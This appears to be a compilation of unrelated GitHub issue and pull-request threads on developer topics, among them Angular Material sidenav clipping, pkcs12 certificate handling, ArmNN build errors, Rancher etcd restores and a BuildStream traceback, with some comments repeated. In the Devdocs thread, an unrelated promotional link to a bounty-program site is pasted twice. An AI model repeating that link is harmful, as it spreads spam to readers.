In progress doc here - https://hackmd.io/HGl8qEh9QjG3QwB-Evmx7A?view

Page published on readme - https://docs.substrate.dev/docs/genesisconfig-struct. Closing this issue.


Update the title of the Default BitPivot section of the Pivot demo page

Fixes #5655
Updated the title under the pivot section in the demo page.
Hope this solves the issue.
Looking forward for merging this PR.

again 😄 :
@DevanshKyada27 Thanks for submitting this PR, but the good first issues are only for the first contribution, and resolving more than one of them is not allowed here. So please let the other new contributors take care of the rest.
You can try resolving other issues, especially the up for grabs ones.
I'm sorry but this PR is rejected and I have to close it.


change docker file to support postgresql

#397
Hi Bram,
I have updated the project to include the Docker environment configuration file and added support for the PostgreSQL database. Now you can run the project using Docker Compose in Visual Studio for debugging. However, after logging in, I encountered an error message:
[2023-05-16T11:57:31.222Z] Error: System.Net.Http.HttpRequestException: Cannot assign requested address (localhost:5001)
---> System.Net.Sockets.SocketException (99): Cannot assign requested address
at System.Net.Sockets.Socket.AwaitableSocketAsyncEventArgs.ThrowException(SocketError error, CancellationToken cancellationToken).

I have been searching on Google for a long time but couldn't find a solution. Could you take a look at it for me?

Nice commit!
There are still some issues with the composer file in general I believe.

The composer project can only be run on Windows, because of - ${APPDATA}\microsoft\UserSecrets\:/root/.microsoft/usersecrets:ro
It's pointing to volumes that are not being automatically generated, and which do not exist. This will throw an error as follow: service "sqldb" refers to undefined volume \mssql_backup: invalid compose project.


sideNav does not support clipping below an app/tool bar as per material specification

Bug, feature request, or proposal:
Feature request to match material specification
What is the expected behavior?
The material specification states that sidenav's should have the ability to clip ( only effect content below an app/tool bar )
What is the current behavior?
Currently the only way to accomplish this is to place the toolbar first, outside of the md-sidenav-container, BUT doing so then precludes using a sidenav in over mode, it's an either or solution
A typical real world use case is to make the left sidenav in over mode, and set the right sidenav's mode to side BUT clipped below the toolbar.
What are the steps to reproduce?
http://plnkr.co/edit/jtCKUBw7mHkSkM4nF3Uh
Need a way to slide out the right sidenav without moving the toolbar, which isn't currently possible without doing some html and css hackery
What is the use-case or motivation for changing an existing behavior?
Match the specification so that we can implement mixed case uses of left and right sidenav positioning
Which versions of Angular, Material, OS, TypeScript, browsers are affected?
Angular 4.1.3 Material 2 Master
Is there anything else we should know?
It is solveable by nesting md-sidenav-containers, which is the only way I could figure this out while tinkering with it, other methods didn't work.  While it seems to work fine it's a bit of a hack.
http://plnkr.co/edit/EarMzAJj68pS5teE8oMQ?p=preview
One idea might be to create this structure behind the scenes and add clipToAppBar="true" for a sidenave then move the sidenav to the appropriate sidenav container.
 places the sidenav into the inner container, else it resides in the out container.
If not, just change the documents to at least show it's possible and how it's done

For other work arounds, I managed to workaround this by setting mat-toolbar's position to fixed in a container dev around only mat-toolbar bare minimal hack approach as well. Though that's far from an ideal solution still. =\

@gm112 I tried similar solutions, but that had issues for me as well, I can't remember them all but I kept running into gotcha's
So far I have only run into one obscure problem with nested side containers that I can't easily reproduce and the work around was trivial, so for me the nested solution is working out better.

A problem that doesn't seem to have any workaround (therefore requiring Angular Material 2 to address it) is with elevation. The sidenav and app bar / toolbar should share the same elevation and both cast a shadow over the content. The sidenav always has the right shadow, but I've only been able to get the toolbar to either have no shadow (same elevation as content) or have a shadow that is over the sidenav. Neither is in compliance with Material Design rules.
If anyone can share a workaround for the elevation issue it would be appreciated.

@gtranter https://plnkr.co/edit/Y95B2qxq0SlkEhKzOuUO?p=preview
.mat-sidenav-content {
  z-index: 1
}

@willshowell Thanks - but what I am actually looking for is a solution for the elevation problem when in clipped mode, as that is the focus of this issue. Clipped mode means the sidenav pushes only the content area and is always below the app bar. Your example is full-height mode which pushes both the content area and the app bar.

Any news on that? Would be super cool to have a sidenav clipped below the toolbar.

I've tried setting the toolbar outside the mat-sidenav-container but that results in height:100% to overflow its parent. Would really like a nice clean solution.

This can be done manually by using the inputs fixedTopGap and fixedBottomGap. I created a static-sample that I will update soon to be more dynamic by using the breakpoint-observer.

set mat-sidenav fixedInViewport to false

Closing this since the sidenav now has options for fixed positioning.


Allow multiple certificates in pfx pdu for pkcs12

What this PR does / why we need it:
Using pkcs12.Decode allows only one certificate and key in the pfxData. Having more than one certificate will result in error. For multiple certificates and key we can use pkcs12.ToPEM.
Which issue(s) this PR fixes (optional, using fixes #<issue number>(, fixes #<issue_number>, ...) format, will close the issue(s) when the PR gets merged):
Fixes #
Special notes for your reviewer:

@aramase Thanks for the PR. Looks great!
Left few comments. One thing to note is we need to make sure the logic here is consistent with the logic in the CSI driver, specifically we need to also update https://github.com/kubernetes-sigs/secrets-store-csi-driver/blob/master/pkg/secrets-store/utils.go#L731 to support multiple certs and keys.

@ritazh Thank you for the review.

Left few comments. One thing to note is we need to make sure the logic here is consistent with the logic in the CSI driver, specifically we need to also update https://github.com/kubernetes-sigs/secrets-store-csi-driver/blob/master/pkg/secrets-store/utils.go#L731 to support multiple certs and keys.

The driver already reads multiple certs and keys if exists in the pemBlock. I was able to validate ingress with certificate and intermediate -
* Server certificate:
*  subject: C=US; ST=CA; O=MyOrg, Inc.; CN=demo.test.com
*  start date: Jun 23 01:13:57 2020 GMT
*  expire date: Nov  5 01:13:57 2021 GMT
*  issuer: C=US; ST=WA; L=Redmond; CN=rootdomain
*  SSL certificate verify result: self signed certificate in certificate chain (19), continuing anyway.

root@kind-control-plane:/# openssl s_client -connect <IP_ADDRESS>:443 -servername demo.test.com
CONNECTED(00000003)
depth=1 C = US, ST = WA, L = Redmond, CN = rootdomain
verify error:num=19:self signed certificate in certificate chain
verify return:1
depth=1 C = US, ST = WA, L = Redmond, CN = rootdomain
verify return:1
depth=0 C = US, ST = CA, O = "MyOrg, Inc.", CN = demo.test.com
verify return:1
---
Certificate chain
 0 s:C = US, ST = CA, O = "MyOrg, Inc.", CN = demo.test.com
   i:C = US, ST = WA, L = Redmond, CN = rootdomain
 1 s:C = US, ST = WA, L = Redmond, CN = rootdomain
   i:C = US, ST = WA, L = Redmond, CN = rootdomain
---

/azp run pr-e2e-azure


fluentd multiline message support?

I am going to give this a try later .. looking at the code it seems like this would not be configured to handle multiline messages in my application logs, such as Python Traceback messages? I have had slightly better luck with a different fluentd image that includes the Google DetectExceptions plugin. Do you think it would just be a matter of changing the image name in the daemonset and adjusting the configmap?  Or maybe I am missing something and this version does handle them?
I have had poor luck using the fluentd image you included here (when it comes to handling multiline messages). But this looks like a promising configuration so maybe I will have better luck tweaking the configmap.

After getting this running, I confirmed that fluentd does not handle multiline messages in the app logs. I will play around with the ideas I expressed above to see if I can configure this, but if you have any ideas it would be good to know. This seems like the common scenario everyone needs.


ARMNN build errors

Hi
I have followed https://github.com/ARM-software/armnn/blob/master/BuildGuideCrossCompilation.md to build ARMNN for x86_64 system. Getting below errors while building ARMNN. Please advise me whats going wrong.
/usr/bin/ld: /home/pasdktest/armnn-devenv/boost_arm64_install/lib/libboost_unit_test_framework.a(framework.o): Relocations in generic ELF (EM: 183)
/usr/bin/ld: /home/pasdktest/armnn-devenv/boost_arm64_install/lib/libboost_unit_test_framework.a(framework.o): Relocations in generic ELF (EM: 183)
/usr/bin/ld: /home/pasdktest/armnn-devenv/boost_arm64_install/lib/libboost_unit_test_framework.a(framework.o): Relocations in generic ELF (EM: 183)
/usr/bin/ld: /home/pasdktest/armnn-devenv/boost_arm64_install/lib/libboost_unit_test_framework.a(framework.o): Relocations in generic ELF (EM: 183)
/usr/bin/ld: /home/pasdktest/armnn-devenv/boost_arm64_install/lib/libboost_unit_test_framework.a(framework.o): Relocations in generic ELF (EM: 183)
/usr/bin/ld: /home/pasdktest/armnn-devenv/boost_arm64_install/lib/libboost_unit_test_framework.a(framework.o): Relocations in generic ELF (EM: 183)
/usr/bin/ld: /home/pasdktest/armnn-devenv/boost_arm64_install/lib/libboost_unit_test_framework.a(framework.o): Relocations in generic ELF (EM: 183)
/home/pasdktest/armnn-devenv/boost_arm64_install/lib/libboost_unit_test_framework.a: error adding symbols: File in wrong format
collect2: error: ld returned 1 exit status
CMakeFiles/UnitTests.dir/build.make:5390: recipe for target 'UnitTests' failed
make[2]: *** [UnitTests] Error 1
CMakeFiles/Makefile2:127: recipe for target 'CMakeFiles/UnitTests.dir/all' failed
make[1]: *** [CMakeFiles/UnitTests.dir/all] Error 2
Makefile:127: recipe for target 'all' failed
make: *** [all] Error 2
regards,
Narayana

BTW, I am trying to build on Ubuntu 16.04 linux.

Hey @tlsnarayana ,
It looks like either your boost library or ArmNN is not compiled in the correct format based on this error:
/home/pasdktest/armnn-devenv/boost_arm64_install/lib/libboost_unit_test_framework.a: error adding symbols: File in wrong format collect2: error: ld returned 1 exit status
Check that you are using the same compiler to build ArmNN that you used to compile boost.
For example when targetting Aarch64 both boost and ArmNN should use: aarch64-linux-gnu-g++
Do you mind posting the CMake commands used for both? That would help to shed more light on the issue.
Regards,
Dave

Thanks, Its working now after changing same compiler for boost and ArmNN.


FDG-8004 Expose all the decimal places for FRN Daily Indexes dataset

https://federal-spending-transparency.atlassian.net/browse/FDG-8004
test coverage: 90.15

On '120 Day Delinquent Debt Referral Compliance Report'
Not sure if this is what its suppose to do or not?  it goes over 9 decimal points

These changes only impact FRN Daily Indexes. Those decimals are correct and are currently in prod for the other dataset. Should be good to move forward without changes

Changes added. Review needed again but should be good to merge after!


Replace dashboard progress bar with PF4 component

This replaces dashboard progress bar with the PF4 Progress component.
Note that the PF4 component does not allow custom labels. However, I've created an issue to address that.
See https://github.com/patternfly/patternfly-react/issues/784
Fixes https://github.com/project-koku/koku-ui/issues/180

Deploy preview for project-koku ready!
Built with commit ab19db8920673b341ef9340f26a517477532fb15
https://deploy-preview-187--project-koku.netlify.com

Codecov Report

Merging #187 into master will increase coverage by 0.08%.
The diff coverage is 100%.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update c24bf0b...bb08fe0. Read the comment docs.


Use URI.send in apply action to work in Ruby 3

In Ruby 3.0.0-rc1, I get the error No such file or directory @ rb_sysopen when using the apply action with a remote URL. By changing the use of open to URI.send(:open …), it works in Ruby 3 while preserving backwards-compatibility (this is already how it's done in the get file manipulation method).

Looks like there's an issue with request stubs now in the test suite after making this change. I'd appreciate any pointers in how to resolve those.

Ran into this today as well. 👍

@jaredcwhite looks like the webmock responses need an update to make the tests pass. Then hopefully we can get his merged!

@jaredcwhite looks like the webmock responses need an update to make the tests pass. Then hopefully we can get his merged!


Injection client uses knative type that has been deleted

When creating a new controller/reconciler, I get the following error
vendor/github.com/tektoncd/pipeline/pkg/client/injection/client/client.go:53:12: undefined: injection.Dynamic

knative.dev/pkg has removed injection.Dynamic in https://github.com/knative/pkg/commit/5671699f23d96f7fcfabbd45aa74fbc256dd3fe9. It seems like the tekton injection client will need to be updated.

also related
https://github.com/knative/pkg/issues/2725

@drewbailey this is handled as part of https://github.com/tektoncd/pipeline/pull/6975 👼🏼

Awesome, it was causing some versioning and complication issues in a controller we were writing at the time I believe.

We have tekton integration project toolbox that can't upgrade to 0.50.0
https://github.com/ElementalCognition/tekton-toolbox/pull/232

https://github.com/tektoncd/pipeline/pull/6975 has been merged, so closing this.


[CP][beta] Revert "[vm/ffi] Unwrap typed data in FFI calls"

Commit(s) to merge
None, no revert landed yet on main. Doing beta first as suggested by @athomas offline.
Target
beta
Prepared changelist for beta/stable
https://dart-review.googlesource.com/c/sdk/+/349320
Issue Description
40094c8cfd41f8f76e61ae9041fdf5f932e743da introduces an API to dart:ffi that we later realized is problematic.
See the discussion in https://github.com/dart-lang/sdk/issues/54739#issuecomment-1914182960. TL;DR: FFIgen cannot run blindly on headers because it would need to make a decision on what Dart type to expose for a C type.
What is the fix
Revert 40094c8cfd41f8f76e61ae9041fdf5f932e743da, so that we can work on introducing a better API for our users.
Why cherry-pick
If we don't do a cherry pick, the new API will be added to Dart 3.3, and then we'd need to do a breaking change request for removing it again in Dart 3.4.
Risk
medium
Issue link(s)
https://github.com/dart-lang/sdk/issues/54739#issuecomment-1914182960
Extra Info
Risk is medium:

The PR doesn't cleanly revert and is big. I have fixed all the merge conflicts and minimized the diff in https://dart-review.googlesource.com/c/sdk/+/349320.
The revert itself is mostly only removing code, so I believe it does the right thing.

@mkustermann - what's your recommendation on reversion and risk?

@mkustermann - what's your recommendation on reversion and risk?

Although it touches quite some code, it seems like a clean revert (very minor difference between first patch set and latest). Also IMHO we shouldn't be afraid of reverting (or cherry-picking for that matter) to beta/stable branches - we have an extensive CI we can and should rely on. So if the revert turns green: LGTM
It makes sense to not include this in the stable, as we plan on offering it in a more general way that works better for users.

@mkustermann and @dcharkes everything is green, please land.


Update write_minimum_size_bytes help text

Signed-Off-By: Robert Clark<EMAIL_ADDRESS>

Yeesh, will merge when CI finishes. Good catch.


helm:upload => "insecure" flag support (HTTPS upload)

I was facing the same issue which is described here: https://github.com/kokuwaio/helm-maven-plugin/issues/88
=>
I'm adding support for uploading to Helm Charts repositories secured with self-signed certificate.
It adds "insecure" support also for helm:upload (along helm:push). Tested with Nexus repo (both HTTP + HTTPS).
Please pull this change.
Thanks in advance.

I do apologize for having two separate changes in one pull request. I hope both would be merged anyway since both are very useful.
The second one (fallbackBinaryDownload) is very handy for a team, in which some people have helm locally installed and some do not, but the build is working for both parties. The useLocalHelmBinary is very handy because of faster build times, but it lacks support for downloading the binary in case its missing.
This is why I introduced fallbackBinaryDownload for helm:init goal.
Typically, I want to do init+package+upload at once, and make it working regardless whether helm was locally installed.
However, I do not want downloading helm again, and again, and again...
I hope, fallbackBinaryDownload is the right solution for this.
Thanks in advance (for reply / merging the changes)
Rostislav

Thanks, for the PR!
Unfortunately i do not have time to review before next friday.

Great. Thank you!

Released with 6.9.0.


Add possibility for QueueElementObserver to the FileObjectQueue to call a lambda callback with QueueElementObservation on add and read

This is an updated version of the previous PR which is less destructive or strict with queues as desired.

Updated and no longer needed.


increase the Marching Cubes Resolution above 320

Is it possible to increase the Marching Cubes Resolution above 320 by changing the variable "maximum = 320" in the file "gradio_app.py"? Or would it cause an error?

https://github.com/VAST-AI-Research/TripoSR/issues/44#issuecomment-1986916292
Yes. It appears that torchmcubes doesn't support resolutions higher than a certain limit.

I fixed this, you can try #68

@thatname impressive speedup! One thing I noticed, models have checker/square pattern which seems to be invariant to resolution. Do you know if it's due to something .cu file? Or some hard-coded value

@thatname impressive speedup! One thing I noticed, models have checker/square pattern which seems to be invariant to resolution or chunk size (arguments in the run.py). Do you know if it's due to something .cu file of marchingcubes? Or some hard-coded value.
I counted them and the value seems to be exactly 32 vertically.

I think it's limited by the underlying triplane resolution, which is 64.

@thatname impressive speedup! One thing I noticed, models have checker/square pattern which seems to be invariant to resolution or chunk size (arguments in the run.py). Do you know if it's due to something .cu file of marchingcubes? Or some hard-coded value.
I counted them and the value seems to be exactly 32 vertically.

I think it's limited by the underlying triplane resolution, which is 64.

Did you try different normal smoothing? Could help hide the janky marching cube faces.

See there better normal smoothing helps a lot
@mrbid Can you give more details about normal smoothing, I am gonna do similar stuff. Which method do you use?


Adding devdocs

Devdocs.io, as a developer with unreliable internet connection, has been a real boon. It's helped me look up info about frameworks I usually use (express, django, laravel, bootstrap) pretty much a positive experience, not to mention it's all congregated to one little interface you can access offline.
I'd pretty much wholeheartedly recommend it to anybody else, since it's worth using especially when you're new to the whole framework, and need to quickly look up a syntax or something.

👍

Devdocs.io, as a developer with unreliable internet connection, has been a real boon. It's helped me look up info about frameworks I usually use (express, django, laravel, bootstrap) pretty much a positive experience, not to mention it's all congregated to one little interface you can access offline.
I'd pretty much wholeheartedly recommend it to anybody else, since it's worth using especially when you're new to the whole framework, and need to quickly look up a syntax or something.

https://vuuzletvph.com/heads-up-vuco-bounty-programs-are-coming-your-way/

👍

https://vuuzletvph.com/heads-up-vuco-bounty-programs-are-coming-your-way/


Please port skylands to 1.12.2

Simple request.

Done: https://minecraft.curseforge.com/projects/otg-skylands


Dealing with Android's lying.

As we've been discussing in several threads, and lately in #40 - the Android browser, like the iOS browser, is lying about its drag event support and thus user-agent sniffing is required to still force the patch.

Thanks @xstrom! Do you support Blackberry/Windows phone in your app? I'm wondering if we should also sniff out those devices.

I talked about Blackberry/Windows in issue #40.

Ah, of course! I haven't had a chance to read what you wrote up over there. For now, I'm going to merge this 'cause it seems good as it stands.

Nice one @xStrom


Check for BST

Hey there!, Thanks for submitting a PR to this repo
Please complete the following checklist for your PR to be approved. Mark the items by adding an x.
Example:  - [ ] Mark me as completed
To mark: - [x] Mark me as completed

[ x] My Pull Request adheres to the Contribution guidelines.
[x ] I have added readme.md and solution files in the appropriate folder.
[x ] The solution I have given is my own and not plagiarized in any form.
[x ] My solution passes all the testcases.
[ x] I have properly indented and documented my solution using comments.

If any of the above is unmarked, please make the necessary changes and then mark them so that you're PR can be approved and merged.

okay sure, i will add them.

added comments , please have a look.


Add guard controller

This commit adds a guard controller which ensures
that the PDB is available and there is a guard
deployment associated with it.
Things which I deviated from original design:

I expect PDBs to be created via static resources, no updates to them
The guard controller should be smart enough to figure out the workload controller(deployment controller for now) that it should act upon based on selectors.
The guard controller should take an argument createGuardingWorkload which tells it if it needs to create a guarding controller in case of no workload controller. This solves the static pod scenarios where it will create static pods.
If the PDB has been applied on the workload which runs as a deployment, the guard controller should identify it based on the selector
Finally, guard controller should be able to update replicas of deployment based on number of master nodes.

cc @deads2k

/close


Etcd restore does not work on a k8s 1.22 RKE1 cluster

Rancher Server Setup

Rancher version: 2.6-head commit id: e322f8f
Installation option (Docker install/Helm Chart): Helm

If Helm Chart, Kubernetes Cluster and version (RKE1, RKE2, k3s, EKS, etc): RKE1

Proxy/Cert Details: Rancher generated

Information about the Cluster

Kubernetes version: 1.22.3-rancher1-1
Cluster Type (Local/Downstream): Downstream RKE1 EC2 cluster

Describe the bug
Etcd restore does not work on a k8s 1.22 RKE1 cluster
To Reproduce

Deploy an RKE1 cluster using k8s 1.22.3rancher1-1
Deploy a few resources on the downstream cluster
Take a snapshot
Restore to this snapshot (all options - 3rd option)
The cluster keeps switching between Active and Unavailable state with message Cluster agent is not connected

Note:
This scenario worked.

Deploy an RKE1 cluster using k8s 1.21
Deploy a few resources on the downstream cluster
Take a snapshot s1
Upgrade k8s to 1.22
Restore to snapshot s1
Cluster came up Active, and resources in the cluster are restored

Also this works on a DO and Azure cluster.
Fails on an EC2 cluster

Worked with @sowmyav27 on reproducing this and few things to note:

So far haven't reproduced it on DO cluster, just ec2 node driver cluster. Need to try with custom clusters too.
Cluster switching states is an unrelated issue, it continues flapping between active and unavailable when cluster agent isn't deployed for the cluster. Happens sometimes after provisioning new cluster as well.
Cluster agent is stuck in a crash loop backoff state, also saw a few addons in a weird terminating/stuck state - unsure if they're related or different issues. Need to debug some more.

Figured out the steps to reproduce - only happens when the cluster is restored to the very first snapshot right after cluster comes up Active.

Having trouble reproducing again

Both @sowmyav27 and I tried reproducing multiple times with kinarashah/rancher:v2.6.3-rc4, unable to reproduce. Moving this to test.

On 2.6head commit id: 77392a6

Deploy an RKE1 DO/AWS cluster
Take a snapshot
Restore to the first taken recurring snapshot
Cluster goes into Updating --> Unavailable and comes back Active.
It does not switch between Unavailable and Active.

I was also unable to reproduce this on 2.6-head (750b8a8):

Deploy an RKE1 DO/ cluster (1.22.8-rancher1-1)
Take a snapshot
Restore to the first taken recurring snapshot
Cluster goes into Updating --> Unavailable and comes back Active.
It does not switch between Unavailable and Active. tried it multiple times (~10 times)


Turning on ServicesUseNTLMAuthentication on BC23, brakes running NavAdminTool scripts.

Enabling ServicesUseNTLMAuthentication property on a newly installed, CRONUS based BC23 instance, makes NavAdminTool based scripts, like Export-NAVServerLicenseInformation, unusable.
The following message comes:
Export-NAVServerLicenseInformation : There was no endpoint listening at http://localhost:7086/BC230/ManagementServicePs/Service.svc that could accept the message. This is often c
aused by an incorrect address or SOAP action. See InnerException, if present, for more details.
It is working with disabled ServicesUseNTLMAuthentication property and also working in all previous versions (including BC22) with enabled property.
Is it a bug or is it a limitation in BC23?

I have the same issue.
Only solution currently is to create a new service with NTLM Authentication enabled right from the beginning.

Hi, this issue is out of scope of for this repository. You should do one of the following:

Open a support request to CSS through the PartnerSource portal
Open a bug in Collaborate
Contact your Service Account Manager (SAM) in your local subsidiary to understand what is included in your contract as of support incident and PAH (Partner Advisory Hours). Your SAM might also direct you "step by step" how to open a support request or how to get credentials, if this is the first time for you or your company

As a reminder, this repository only handles issues to do with the compiler or VSCode development experience for AL.


Handling always open these types of links in the associated app  Dialogs

example

Check out the dialog class.
I suppose it doesn't have a way to respond to check-boxes though. Still, since every browser instance loses cookies when its closed, I don't think remembering to open links in a certain way would be helpful. I could be wrong though.

@1c3z unfortunately, these are not supported and we don't have any support for these in DevTools protocol. I wonder if there's any chrome preference or flag you can use to workaround these.
I'll close this for now. If there's a substantial demand, we can revisit this later on.

Is there a way to close it using keyboard presses? Or somehow interact with the page while it's showing?

Any solutions?

^ Is this still being worked on?

+1 for handling these. I can't find a solution.


feat(protocol): revert revert update open-zeppelin contracts (#15896)

This reverts commit 994e29e67f68b2478c2e79ce28c9542fd048dc3c.

The new version doesn't work?

The new version doesn't work?

yea i had to cancel the build. it's stuck in an infinite loop, see:

The new version doesn't work?
This PR aims to set back the "new" one.

So the problem was (in chronology):

Dave suggested to use a newer one (4.9.5)
We merged it (but has issues with DeployOnL1 workflow in CICD)
We reverted it so taht it does not cause any issues on main
We eventually need this so it is a 2nd attempt to add it back and debug first that DeployOnL1 thing

@d1onys1us I think we are OK not to proceed with this upgrade.

@d1onys1us I think we are OK not to proceed with this upgrade.

https://github.com/advisories/GHSA-93hq-5wgc-jc82
i think we do need to update so long as we are using GovernorCompatibilityBravo, but we can do 4.8.3, 4.9.3, or 5.0.1, but we should patch the security issue IMO.

Suggest to close this PR given https://github.com/taikoxyz/taiko-mono/pull/15947


remove tab

when a tab is dynamically removed a error occur : TypeError: e is undefined (tab.js:152:12)
my code:

    First tab
    Second tab
Third tab×

$(".nav-tabs").on("click", "span", function() {
    var tab = $(this).parent();
    // $(tab.attr("href")).remove();
    // $("#firstTab").tab('show');
    tab.tab('dispose');
    tab.remove();
  });

In your documentation, you explain that option .tab('dispose') destroy element's tab but this not working.

Bug reports must include a live demo of the problem. Per our contributing guidelines, please create a reduced test case via CodePen/JS Bin or Stackblitz and report back with your link, Bootstrap version, and specific browser and OS details.
This is an automated reply

You can find the reduced test case here: https://codepen.io/lionncle/pen/PygzVv
The Bootstrap version is : 4.0.0 (I try with the version 4.1 and I have the same error)
The browser is firefox 63.0 (64 bits)
My OS is ubuntu 18.04.1 LTS.
Note: the code working but an error is raised in the development console.

Related to this PR: #25384

Will be fixed

Ok thanks and I have a question: What does the function .tab('dispose')? In my example this function is useless?

No it destroy a tab, which mean this tab won't do anything


bst shell -b ${ELEMENT} throws assertion when source not present

See original issue on GitLab
In GitLab by [Gitlab user @BenjaminSchubert] on Sep 26, 2019, 10:38
Summary
When running bst shell -b ${element} on an element that is not cached locally, an assertion is thrown
What is the current bug behavior?
buildstream[[Gitlab user @be88ff14eeb6]](https://gitlab.com/be88ff14eeb6):~/project$ bst shell -b boost.bst
[--:--:--][        ][    main:core activity                 ] START   Loading elements
[00:00:00][        ][    main:core activity                 ] SUCCESS Loading elements
[--:--:--][        ][    main:core activity                 ] START   Resolving elements
[00:00:00][        ][    main:core activity                 ] SUCCESS Resolving elements
[--:--:--][        ][    main:core activity                 ] START   Resolving cached state
[00:00:00][        ][    main:core activity                 ] SUCCESS Resolving cached state
[--:--:--][        ][    main:boost.bst                     ] START   Staging dependencies
[00:00:00][        ][    main:boost.bst                     ] SUCCESS Staging dependencies
[--:--:--][        ][    main:boost.bst                     ] START   Integrating sandbox
[00:00:00][        ][    main:boost.bst                     ] SUCCESS Integrating sandbox
[--:--:--][        ][    main:boost.bst                     ] START   Staging sources
[--:--:--][        ][    main:core activity                 ] START   Terminating buildbox-casd
[00:00:00][        ][    main:core activity                 ] SUCCESS Terminating buildbox-casd
[--:--:--][        ][    main:core activity                 ] BUG

    Traceback (most recent call last):
      File "/usr/local/bin/bst", line 10, in <module>
        sys.exit(cli())
      File "/usr/local/lib/python3.7/dist-packages/click/core.py", line 764, in __call__
        return self.main(*args, **kwargs)
      File "/usr/local/lib/python3.7/dist-packages/buildstream/_frontend/cli.py", line 235, in override_main
        standalone_mode=standalone_mode, **extra)
      File "/usr/local/lib/python3.7/dist-packages/click/core.py", line 717, in main
        rv = self.invoke(ctx)
      File "/usr/local/lib/python3.7/dist-packages/click/core.py", line 1137, in invoke
        return _process_result(sub_ctx.command.invoke(sub_ctx))
      File "/usr/local/lib/python3.7/dist-packages/click/core.py", line 956, in invoke
        return ctx.invoke(self.callback, **ctx.params)
      File "/usr/local/lib/python3.7/dist-packages/click/core.py", line 555, in invoke
        return callback(*args, **kwargs)
      File "/usr/local/lib/python3.7/dist-packages/click/decorators.py", line 27, in new_func
        return f(get_current_context().obj, *args, **kwargs)
      File "/usr/local/lib/python3.7/dist-packages/buildstream/_frontend/cli.py", line 667, in shell
        pull_dependencies=pull_dependencies)
      File "/usr/local/lib/python3.7/dist-packages/buildstream/_stream.py", line 234, in shell
        usebuildtree=buildtree)
      File "/usr/local/lib/python3.7/dist-packages/buildstream/element.py", line 1964, in _shell
        with self._prepare_sandbox(scope, directory, shell=True, usebuildtree=usebuildtree) as sandbox:
      File "/usr/lib/python3.7/contextlib.py", line 112, in __enter__
        return next(self.gen)
      File "/usr/local/lib/python3.7/dist-packages/buildstream/element.py", line 1430, in _prepare_sandbox
        self.stage(sandbox)
      File "/usr/local/lib/python3.7/dist-packages/buildstream/buildelement.py", line 233, in stage
        self.stage_sources(sandbox, self.get_variable('build-root'))
      File "/usr/local/lib/python3.7/dist-packages/buildstream/element.py", line 903, in stage_sources
        self._stage_sources_in_sandbox(sandbox, directory)
      File "/usr/local/lib/python3.7/dist-packages/buildstream/element.py", line 1463, in _stage_sources_in_sandbox
        self._stage_sources_at(host_vdirectory, usebuildtree=sandbox._usebuildtree)
      File "/usr/local/lib/python3.7/dist-packages/buildstream/element.py", line 1500, in _stage_sources_at
        assert self._source_cached()
    AssertionError

What is the expected correct behavior?
A nice error is shown

In GitLab by [Gitlab user @BenjaminSchubert] on Nov 11, 2019, 14:53
This works now on master. Closing

In GitLab by [Gitlab user @BenjaminSchubert] on Nov 11, 2019, 14:53
This works now on master. Closing

In GitLab by [Gitlab user @BenjaminSchubert] on Nov 11, 2019, 14:53
closed

In GitLab by [Gitlab user @BenjaminSchubert] on Nov 11, 2019, 14:53
closed


Can't access AppDelegate

I need to access my AppDelegate, but when I do this let appDelegate = UIApplication.shared.delegate as! AppDelegate, an error occurs that I can't cast RxAppState.RxApplicationDelegateProxy to AppDelegate.

Normally you shouldn't have to do the cast. RxApplicationDelegateProxy confirms to UIApplicationDelegate and gives you access to all the methods and properties defined in the UIApplicationDelegate protocol.

What about properties which are defined in AppDelegate? How can I access them without cast?

Ah, sorry I misunderstood. You can access the original app delegate via forwardToDelegate().
So if your AppDelegate has a customProperty property, you can access it like this:
if
   let delegateProxy = UIApplication.shared.delegate as? DelegateProxy,
   let appDelegate = delegateProxy.forwardToDelegate() as? AppDelegate {
      print(appDelegate.customProperty)
   }

@pixeldock is there a way to avoid doing any casting? just have it return Appdelegate while still having the ability to observe for changes

@shams-ahmed The DelegateProxy class is part of RxCocoa. I don‘t see any way around the casting.


Fix expected output for auditing <IP_ADDRESS>

Goss is expecting the output to be "saudit=1" when it is in fact "audit=1".

hi @mj84
Great find on this PR,thank you for taking the time on this. Very happy to merge but i have noticed that the DCO check is failing on the check. We do require all commits to be gpg signed and signed-off-by. If you could find that i will merge it as soon as possible.
Thanks again uk-bolly

Hi @uk-bolly ,
I just gpg signed the commit.
Best regards,
Markus


Cover photo for post

Hiya!
How am I able to reference a local image for the cover photo in the frontmatter rather than an externally hosted image?
For example, I have my post in content/posts/example-post.md.  I have a photo I'd like to set as the cover photo in content/posts/img/header.jpg.  Setting the frontmatter as cover: './img/header.jpg' does not work even though it will work if I reference it like that in the markdown post itself.
Thanks in advance!

Hi everyone!  Bumping this up :)

Hi there! This isn't something specific to this starter, I suggest asking this in the Gridsome repo or on their Discord channel. Might have to do with either core Gridsome or the markdown source plugin.

@ItsJamesMurray A work around for this is to place your cover images under the static/ directory.

Here's a workaround I came across in case anyone else is still having this issue.
I got it to work with the following Gridsome plugin:
https://gridsome.org/plugins/gridsome-plugin-blog-cover
Detailed Instructions
1.) Add gridsome-plugin-blog-cover": "^0.0.1-beta, to your package.json.
2.) Run yarn install
3.) In your blog post have your image setup like so:  cover: ./image-name.png
4.) In the metadata portion of Post.vue, replace it with this.
ogImageUrl() {
        let coverObj =  this.$page.post.cover
        if (coverObj) {
           return `${this.config.siteUrl + coverObj.src}`
        } else {
          return `${this.config.siteUrl}/static/images/sharing-card.png`
        }
      }

5.) Run gridsome develop and it should load the image.


Create ellipse creates rectangle instead

Before submitting the issue

[X] I have searched among the existing issues
[X] I am using a Python virtual environment

Description of the bug
ellipse1 = q.modeler.create_ellipse(cs_plane = "YZ", position = [0,1,0],major_radius = 1, ratio = 0.75, name = "Ellipse1", matname= "air")
with q = pyaedt.Hfss(projectname="Test", designname="HFSSDesign1", solution_type = "Terminal", specified_version="2023.2", non_graphical=False, new_desktop_session=True)
This function creates a rectangle instead of an ellipse.
Steps To Reproduce
q = pyaedt.Hfss(projectname="Test" designname="HFSSDesign1", solution_type = "Terminal", specified_version="2023.2", non_graphical=False, new_desktop_session=True)
ellipse1 = q.modeler.create_ellipse(cs_plane = "YZ", position = [0,1,0],major_radius = 1, ratio = 0.75, name = "Ellipse1", matname= "air")
You will see that Ansys creates a rectangle.
Which Operating System are you using?
Windows
Which Python version are you using?
3.10
Installed packages
from tkinter import *
import tkinter as tk
from tkinter import ttk
from tkinter import messagebox
import os
import pyaedt
import math

@Samuelopez-ansys
